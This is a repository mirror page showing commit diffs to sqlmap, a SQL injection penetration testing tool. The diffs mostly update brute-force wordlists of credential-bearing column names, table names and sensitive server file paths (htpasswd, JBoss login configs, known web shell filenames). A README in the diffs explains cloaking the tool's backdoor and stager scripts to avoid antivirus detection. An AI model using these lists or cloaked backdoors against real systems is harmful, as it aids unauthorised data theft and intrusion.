mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Compare commits
254 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
eeacab0f19 | ||
|
|
b3e454d0b1 | ||
|
|
99d0031d65 | ||
|
|
5916bc2d39 | ||
|
|
2159944de4 | ||
|
|
f87aa83e9b | ||
|
|
b902cca791 | ||
|
|
86467e196b | ||
|
|
30f137699d | ||
|
|
7741154383 | ||
|
|
a6262a3aa9 | ||
|
|
1f33b16e01 | ||
|
|
04396c97e2 | ||
|
|
b1cdbdae61 | ||
|
|
747951b80b | ||
|
|
1bef2f8fda | ||
|
|
b0ac442096 | ||
|
|
99a5fb243c | ||
|
|
b2a575482e | ||
|
|
365e08b710 | ||
|
|
af3b79ff8b | ||
|
|
3724a53466 | ||
|
|
01e83cb4a0 | ||
|
|
cd77cdd1e8 | ||
|
|
22c421a427 | ||
|
|
59fe89f076 | ||
|
|
160011bd87 | ||
|
|
36ee4d68c7 | ||
|
|
dfc5bc5d87 | ||
|
|
d247fda9d3 | ||
|
|
78b1c4f072 | ||
|
|
63e44f9ee9 | ||
|
|
08349138ec | ||
|
|
807d38688f | ||
|
|
0975fb1226 | ||
|
|
71c141ef86 | ||
|
|
accfbf958e | ||
|
|
c0be1da8b1 | ||
|
|
4a12493d85 | ||
|
|
b2c8ba10cd | ||
|
|
9568ee3c4d | ||
|
|
f3e8039145 | ||
|
|
e5086ef61a | ||
|
|
ed0909fe57 | ||
|
|
6244850749 | ||
|
|
d78590213b | ||
|
|
4490d55482 | ||
|
|
fd137b49ef | ||
|
|
6fa5922fbd | ||
|
|
42884d3f09 | ||
|
|
1a0c533626 | ||
|
|
5d3bd6ea7a | ||
|
|
29a7646334 | ||
|
|
fa93f5e099 | ||
|
|
12238019dd | ||
|
|
0b1b64b682 | ||
|
|
c8dc375fb5 | ||
|
|
a697e6c307 | ||
|
|
66a3118f81 | ||
|
|
3002f92e34 | ||
|
|
2ef07c80db | ||
|
|
e3028f195e | ||
|
|
1f39dbd06d | ||
|
|
ccf9e7de54 | ||
|
|
ebd2a940cb | ||
|
|
0d3889730d | ||
|
|
ccbc3e62f8 | ||
|
|
f84ec1072b | ||
|
|
779b352f6b | ||
|
|
9af2e68b7e | ||
|
|
bd59dd4a0f | ||
|
|
c4e6c3e854 | ||
|
|
91045aab60 | ||
|
|
b36d8248a4 | ||
|
|
091678b9d4 | ||
|
|
0c3d8c9bd1 | ||
|
|
f5b6b0eb4b | ||
|
|
e8048a3cf0 | ||
|
|
0207ecf0ee | ||
|
|
ae6a812ee1 | ||
|
|
f23c04131c | ||
|
|
ab0df2a85c | ||
|
|
2cf2dd9a2c | ||
|
|
82e28e038e | ||
|
|
31fe3453a2 | ||
|
|
32deef59c3 | ||
|
|
8142dd8f3b | ||
|
|
1b2ac3069d | ||
|
|
bb02eefb70 | ||
|
|
8c8aae9170 | ||
|
|
99e6d56f09 | ||
|
|
41e247be56 | ||
|
|
81602c4093 | ||
|
|
31c597f9e6 | ||
|
|
b039c35f2b | ||
|
|
bae7766e64 | ||
|
|
9c95445723 | ||
|
|
eeffcfe1b6 | ||
|
|
809538d1bb | ||
|
|
5f743ab19b | ||
|
|
85c6d0d5c1 | ||
|
|
d9e6e678e8 | ||
|
|
7e675fed9f | ||
|
|
5bf52c3f9c | ||
|
|
94709c93bb | ||
|
|
a852d25314 | ||
|
|
c0aa8565a1 | ||
|
|
bce1cfe00f | ||
|
|
0cd6285707 | ||
|
|
8a783702d9 | ||
|
|
760563dbd1 | ||
|
|
92054b5d63 | ||
|
|
2f3801b808 | ||
|
|
d5c9bdf279 | ||
|
|
12158af6ca | ||
|
|
8e662a5179 | ||
|
|
8d9c84236d | ||
|
|
815d417a9e | ||
|
|
3936a11280 | ||
|
|
13e363155a | ||
|
|
be0f7a9e07 | ||
|
|
33a8db9596 | ||
|
|
9f6eacb4e8 | ||
|
|
e6d9dc46ab | ||
|
|
c3e81a6223 | ||
|
|
78ba33737e | ||
|
|
c6557e2b45 | ||
|
|
fa17cfb606 | ||
|
|
40623e780a | ||
|
|
35862bf4c8 | ||
|
|
5d6def425a | ||
|
|
7066e7ce97 | ||
|
|
8dad7dd12d | ||
|
|
6b7c3a2f81 | ||
|
|
e9b3af6b9a | ||
|
|
194c911433 | ||
|
|
e621d7ec6a | ||
|
|
854507bc85 | ||
|
|
82eec780a2 | ||
|
|
de55be3afe | ||
|
|
4d2b890a0a | ||
|
|
c243c5fe0d | ||
|
|
a35fc713a2 | ||
|
|
97b7dc585c | ||
|
|
c5a5717add | ||
|
|
fe4e79511a | ||
|
|
1d5bde9cdf | ||
|
|
227a23f091 | ||
|
|
0ff3b1ce70 | ||
|
|
7e483ffd7a | ||
|
|
a5852390f7 | ||
|
|
73d0c67a80 | ||
|
|
8e9f7e90c3 | ||
|
|
f6bf331b8f | ||
|
|
585645e806 | ||
|
|
673a5afe07 | ||
|
|
c9a8b915c8 | ||
|
|
9645aaa33f | ||
|
|
e556876fe6 | ||
|
|
0524670cf9 | ||
|
|
96a2c91701 | ||
|
|
5029d67e4f | ||
|
|
5af64f5ae4 | ||
|
|
bc981c517b | ||
|
|
87ad11dffb | ||
|
|
3663fa936b | ||
|
|
4687383a44 | ||
|
|
62cfd47b83 | ||
|
|
2bf22df53a | ||
|
|
0585a55ee0 | ||
|
|
babe52eb10 | ||
|
|
231c3da057 | ||
|
|
13a2ab3fa3 | ||
|
|
21cc6e3c99 | ||
|
|
a2a73b88ea | ||
|
|
210a4c3a0a | ||
|
|
15225668d0 | ||
|
|
c1bf36b876 | ||
|
|
229f89004b | ||
|
|
443b1f2ed5 | ||
|
|
60f4520020 | ||
|
|
7460b87f1d | ||
|
|
5d08b9004e | ||
|
|
c2b9e539ae | ||
|
|
3d8eb62a59 | ||
|
|
d51e45fd34 | ||
|
|
3258e29cf9 | ||
|
|
e0ea1ab5e9 | ||
|
|
192ca02c41 | ||
|
|
f0bbbb0918 | ||
|
|
f6857d4ee4 | ||
|
|
a1342e04a5 | ||
|
|
7963281c41 | ||
|
|
715063f0d4 | ||
|
|
1658331810 | ||
|
|
bfe93e20c5 | ||
|
|
bcea050f22 | ||
|
|
c4a692abe3 | ||
|
|
b42b62ae38 | ||
|
|
a7f20c1d67 | ||
|
|
f781367ac1 | ||
|
|
1bec3a953c | ||
|
|
66e07dfab6 | ||
|
|
226d467f6d | ||
|
|
ea5ae44b6c | ||
|
|
95b9a47c6f | ||
|
|
e05f65628d | ||
|
|
609545176f | ||
|
|
8de4820b24 | ||
|
|
df5fabbbbb | ||
|
|
0c48d0dbec | ||
|
|
5108c2d06c | ||
|
|
603d602550 | ||
|
|
907786edb8 | ||
|
|
85b73f872e | ||
|
|
a42ec7d9cb | ||
|
|
b3f4c6d0fc | ||
|
|
cec65f3a27 | ||
|
|
cc79ae69aa | ||
|
|
5a9dc15cf2 | ||
|
|
f1fd080ba5 | ||
|
|
cfe9fb4f5b | ||
|
|
7a55c9c145 | ||
|
|
4077a359f4 | ||
|
|
435fd49f1d | ||
|
|
bcfd9c3f48 | ||
|
|
39c320c29b | ||
|
|
b719b9612f | ||
|
|
84bc2640d1 | ||
|
|
fced29a242 | ||
|
|
2e5e958d3f | ||
|
|
1e30471d3d | ||
|
|
10b93d753d | ||
|
|
1280abc25c | ||
|
|
c47061f25d | ||
|
|
9b871f1093 | ||
|
|
0ba07e93d5 | ||
|
|
ce50acf69d | ||
|
|
9f0ff27c26 | ||
|
|
ecafac5cd2 | ||
|
|
f39869992c | ||
|
|
e910fc6b8b | ||
|
|
6375f9e506 | ||
|
|
8e649dc3f7 | ||
|
|
a6ce91a3e2 | ||
|
|
408862b040 | ||
|
|
fc4dec7291 | ||
|
|
274a6e62da | ||
|
|
aa7c548376 | ||
|
|
6b7a1dfd94 | ||
|
|
67f918f6ad | ||
|
|
a65e1faf99 | ||
|
|
ff48e1d820 | ||
|
|
0094f02fb0 |
@@ -9,7 +9,7 @@ jobs:
|
|||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.6
|
- python: 3.6
|
||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.9-dev
|
- python: nightly
|
||||||
dist: bionic
|
dist: bionic
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
|
|||||||
2
LICENSE
2
LICENSE
@@ -1,7 +1,7 @@
|
|||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
# sqlmap 
|
# sqlmap 
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||||
|
|
||||||
**The sqlmap project is currently searching for sponsor(s).**
|
**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
|
||||||
|
|
||||||
Screenshots
|
Screenshots
|
||||||
----
|
----
|
||||||
@@ -71,3 +71,4 @@ Translations
|
|||||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||||
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
||||||
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
||||||
|
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
|
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
|
<title>DEMO</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
@@ -74,7 +75,7 @@
|
|||||||
<div class="sidebar-nav navbar-collapse">
|
<div class="sidebar-nav navbar-collapse">
|
||||||
<ul class="nav" id="side-menu">
|
<ul class="nav" id="side-menu">
|
||||||
<li>
|
<li>
|
||||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||||
<ul class="nav nav-second-level">
|
<ul class="nav nav-second-level">
|
||||||
<li><a>Target</a></li>
|
<li><a>Target</a></li>
|
||||||
<li><a>Request</a></li>
|
<li><a>Request</a></li>
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||||
|
|
||||||
To prepare the original scripts to the cloaked form use this command:
|
To prepare the original scripts to the cloaked form use this command:
|
||||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||||
|
|
||||||
To get back them into the original form use this:
|
To get back them into the original form use this:
|
||||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
@@ -485,6 +485,8 @@ llave
|
|||||||
chaveta
|
chaveta
|
||||||
tono
|
tono
|
||||||
cuna
|
cuna
|
||||||
|
correo
|
||||||
|
contrasenia
|
||||||
|
|
||||||
# german
|
# german
|
||||||
|
|
||||||
@@ -798,7 +800,9 @@ news
|
|||||||
nick
|
nick
|
||||||
number
|
number
|
||||||
nummer
|
nummer
|
||||||
|
passhash
|
||||||
pass_hash
|
pass_hash
|
||||||
|
password_hash
|
||||||
passwordsalt
|
passwordsalt
|
||||||
personal_key
|
personal_key
|
||||||
phone
|
phone
|
||||||
@@ -2726,3 +2730,4 @@ confidential
|
|||||||
# Misc
|
# Misc
|
||||||
|
|
||||||
u_pass
|
u_pass
|
||||||
|
hashedPw
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||||
@@ -679,17 +679,6 @@
|
|||||||
|
|
||||||
/.htaccess
|
/.htaccess
|
||||||
/.htpasswd
|
/.htpasswd
|
||||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/[jboss]/server/default/log/boot.log
|
|
||||||
/[jboss]/server/default/log/server.log
|
|
||||||
/access.log
|
/access.log
|
||||||
/access_log
|
/access_log
|
||||||
/apache/conf/httpd.conf
|
/apache/conf/httpd.conf
|
||||||
@@ -1024,17 +1013,17 @@
|
|||||||
/mysql/my.cnf
|
/mysql/my.cnf
|
||||||
/mysql/my.ini
|
/mysql/my.ini
|
||||||
/netserver/bin/stable/apache/php.ini
|
/netserver/bin/stable/apache/php.ini
|
||||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
/opt/jboss/server/default/conf/jboss-service.xml
|
||||||
/opt/[jboss]/server/default/conf/jndi.properties
|
/opt/jboss/server/default/conf/jndi.properties
|
||||||
/opt/[jboss]/server/default/conf/log4j.xml
|
/opt/jboss/server/default/conf/log4j.xml
|
||||||
/opt/[jboss]/server/default/conf/login-config.xml
|
/opt/jboss/server/default/conf/login-config.xml
|
||||||
/opt/[jboss]/server/default/conf/server.log.properties
|
/opt/jboss/server/default/conf/server.log.properties
|
||||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
/opt/jboss/server/default/conf/standardjaws.xml
|
||||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
/opt/jboss/server/default/conf/standardjboss.xml
|
||||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/opt/[jboss]/server/default/log/boot.log
|
/opt/jboss/server/default/log/boot.log
|
||||||
/opt/[jboss]/server/default/log/server.log
|
/opt/jboss/server/default/log/server.log
|
||||||
/opt/apache/apache.conf
|
/opt/apache/apache.conf
|
||||||
/opt/apache/apache2.conf
|
/opt/apache/apache2.conf
|
||||||
/opt/apache/conf/apache.conf
|
/opt/apache/conf/apache.conf
|
||||||
@@ -1075,17 +1064,6 @@
|
|||||||
/private/etc/httpd/httpd.conf
|
/private/etc/httpd/httpd.conf
|
||||||
/private/etc/httpd/httpd.conf.default
|
/private/etc/httpd/httpd.conf.default
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/private/tmp/[jboss]/server/default/log/boot.log
|
|
||||||
/private/tmp/[jboss]/server/default/log/server.log
|
|
||||||
/proc/cpuinfo
|
/proc/cpuinfo
|
||||||
/proc/devices
|
/proc/devices
|
||||||
/proc/meminfo
|
/proc/meminfo
|
||||||
@@ -1114,17 +1092,17 @@
|
|||||||
/proc/self/stat
|
/proc/self/stat
|
||||||
/proc/self/status
|
/proc/self/status
|
||||||
/proc/version
|
/proc/version
|
||||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
/program files/jboss/server/default/conf/jboss-service.xml
|
||||||
/program files/[jboss]/server/default/conf/jndi.properties
|
/program files/jboss/server/default/conf/jndi.properties
|
||||||
/program files/[jboss]/server/default/conf/log4j.xml
|
/program files/jboss/server/default/conf/log4j.xml
|
||||||
/program files/[jboss]/server/default/conf/login-config.xml
|
/program files/jboss/server/default/conf/login-config.xml
|
||||||
/program files/[jboss]/server/default/conf/server.log.properties
|
/program files/jboss/server/default/conf/server.log.properties
|
||||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
/program files/jboss/server/default/conf/standardjaws.xml
|
||||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
/program files/jboss/server/default/conf/standardjboss.xml
|
||||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/program files/[jboss]/server/default/log/boot.log
|
/program files/jboss/server/default/log/boot.log
|
||||||
/program files/[jboss]/server/default/log/server.log
|
/program files/jboss/server/default/log/server.log
|
||||||
/program files/apache group/apache/apache.conf
|
/program files/apache group/apache/apache.conf
|
||||||
/program files/apache group/apache/apache2.conf
|
/program files/apache group/apache/apache2.conf
|
||||||
/program files/apache group/apache/conf/apache.conf
|
/program files/apache group/apache/conf/apache.conf
|
||||||
@@ -1177,17 +1155,17 @@
|
|||||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||||
/temp/sess_
|
/temp/sess_
|
||||||
/thttpd_log
|
/thttpd_log
|
||||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
/tmp/jboss/server/default/conf/jndi.properties
|
||||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
/tmp/jboss/server/default/conf/log4j.xml
|
||||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
/tmp/jboss/server/default/conf/login-config.xml
|
||||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
/tmp/jboss/server/default/conf/server.log.properties
|
||||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/tmp/[jboss]/server/default/log/boot.log
|
/tmp/jboss/server/default/log/boot.log
|
||||||
/tmp/[jboss]/server/default/log/server.log
|
/tmp/jboss/server/default/log/server.log
|
||||||
/tmp/access.log
|
/tmp/access.log
|
||||||
/tmp/sess_
|
/tmp/sess_
|
||||||
/usr/apache/conf/httpd.conf
|
/usr/apache/conf/httpd.conf
|
||||||
@@ -1202,17 +1180,17 @@
|
|||||||
/usr/lib/php.ini
|
/usr/lib/php.ini
|
||||||
/usr/lib/php/php.ini
|
/usr/lib/php/php.ini
|
||||||
/usr/lib/security/mkuser.default
|
/usr/lib/security/mkuser.default
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
/usr/local/jboss/server/default/conf/jndi.properties
|
||||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
/usr/local/jboss/server/default/conf/log4j.xml
|
||||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
/usr/local/jboss/server/default/conf/login-config.xml
|
||||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
/usr/local/jboss/server/default/conf/server.log.properties
|
||||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/usr/local/[jboss]/server/default/log/boot.log
|
/usr/local/jboss/server/default/log/boot.log
|
||||||
/usr/local/[jboss]/server/default/log/server.log
|
/usr/local/jboss/server/default/log/server.log
|
||||||
/usr/local/apache/apache.conf
|
/usr/local/apache/apache.conf
|
||||||
/usr/local/apache/apache2.conf
|
/usr/local/apache/apache2.conf
|
||||||
/usr/local/apache/conf/access.conf
|
/usr/local/apache/conf/access.conf
|
||||||
@@ -1802,3 +1780,22 @@
|
|||||||
/usr/share/squirrelmail/config/config.php
|
/usr/share/squirrelmail/config/config.php
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/srv/www/htdos/squirrelmail/config/config.php
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
|
|
||||||
|
# Web shells
|
||||||
|
|
||||||
|
/var/www/html/backdoor.php
|
||||||
|
/var/www/html/b374k.php
|
||||||
|
/var/www/html/c99.php
|
||||||
|
/var/www/html/cmd.php
|
||||||
|
/var/www/html/r57.php
|
||||||
|
/var/www/html/shell.php
|
||||||
|
/var/www/html/wso.php
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
|
||||||
|
/etc/lib/nfs/etab
|
||||||
|
/app/app.js
|
||||||
|
/app/configure.js
|
||||||
|
/app/config/config.json
|
||||||
|
/flag.txt
|
||||||
|
/readflag
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
[Banners]
|
[Banners]
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
users
|
users
|
||||||
@@ -1825,6 +1825,7 @@ jos_comprofiler_members
|
|||||||
jos_joomblog_users
|
jos_joomblog_users
|
||||||
jos_moschat_users
|
jos_moschat_users
|
||||||
knews_lostpass
|
knews_lostpass
|
||||||
|
korisnik
|
||||||
korisnici
|
korisnici
|
||||||
kpro_adminlogs
|
kpro_adminlogs
|
||||||
kpro_user
|
kpro_user
|
||||||
@@ -2215,6 +2216,7 @@ admin_pwd
|
|||||||
admin_pass
|
admin_pass
|
||||||
adminpassword
|
adminpassword
|
||||||
admin_password
|
admin_password
|
||||||
|
admin_passwords
|
||||||
usrpass
|
usrpass
|
||||||
usr_pass
|
usr_pass
|
||||||
pass
|
pass
|
||||||
@@ -3221,6 +3223,10 @@ nuke_gallery_pictures_newpicture
|
|||||||
Books
|
Books
|
||||||
grupo
|
grupo
|
||||||
facturas
|
facturas
|
||||||
|
aclaraciones
|
||||||
|
preguntas
|
||||||
|
personas
|
||||||
|
estadisticas
|
||||||
|
|
||||||
# site:cn
|
# site:cn
|
||||||
|
|
||||||
@@ -3497,3 +3503,78 @@ utenti
|
|||||||
wm_products
|
wm_products
|
||||||
wp_payout_history
|
wp_payout_history
|
||||||
zamowienia
|
zamowienia
|
||||||
|
|
||||||
|
# https://deliciousbrains.com/tour-wordpress-database/
|
||||||
|
|
||||||
|
wp_blogmeta
|
||||||
|
wp_blogs
|
||||||
|
wp_blog_versions
|
||||||
|
wp_commentmeta
|
||||||
|
wp_comments
|
||||||
|
wp_links
|
||||||
|
wp_options
|
||||||
|
wp_postmeta
|
||||||
|
wp_posts
|
||||||
|
wp_registration_log
|
||||||
|
wp_signups
|
||||||
|
wp_site
|
||||||
|
wp_sitemeta
|
||||||
|
wp_termmeta
|
||||||
|
wp_term_relationships
|
||||||
|
wp_terms
|
||||||
|
wp_term_taxonomy
|
||||||
|
wp_usermeta
|
||||||
|
wp_users
|
||||||
|
|
||||||
|
# https://docs.joomla.org/Tables
|
||||||
|
|
||||||
|
assets
|
||||||
|
bannerclient
|
||||||
|
banner
|
||||||
|
bannertrack
|
||||||
|
categories
|
||||||
|
components
|
||||||
|
contact_details
|
||||||
|
content_frontpage
|
||||||
|
content_rating
|
||||||
|
content
|
||||||
|
core_acl_aro_groups
|
||||||
|
core_acl_aro_map
|
||||||
|
core_acl_aro_sections
|
||||||
|
core_acl_aro
|
||||||
|
core_acl_groups_aro_map
|
||||||
|
core_log_items
|
||||||
|
core_log_searches
|
||||||
|
extensions
|
||||||
|
groups
|
||||||
|
languages
|
||||||
|
menu
|
||||||
|
menu_types
|
||||||
|
messages_cfg
|
||||||
|
messages
|
||||||
|
migration_backlinks
|
||||||
|
modules_menu
|
||||||
|
modules
|
||||||
|
newsfeeds
|
||||||
|
plugins
|
||||||
|
poll_data
|
||||||
|
poll_date
|
||||||
|
poll_menu
|
||||||
|
polls
|
||||||
|
redirect_links
|
||||||
|
Schemas
|
||||||
|
sections
|
||||||
|
session
|
||||||
|
stats_agents
|
||||||
|
templates_menu
|
||||||
|
template_styles
|
||||||
|
update_categories
|
||||||
|
update_sites_extensions
|
||||||
|
update_sites
|
||||||
|
updates
|
||||||
|
usergroups
|
||||||
|
user_profiles
|
||||||
|
users
|
||||||
|
user_usergroup_map
|
||||||
|
viewlevels
|
||||||
|
weblinks
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
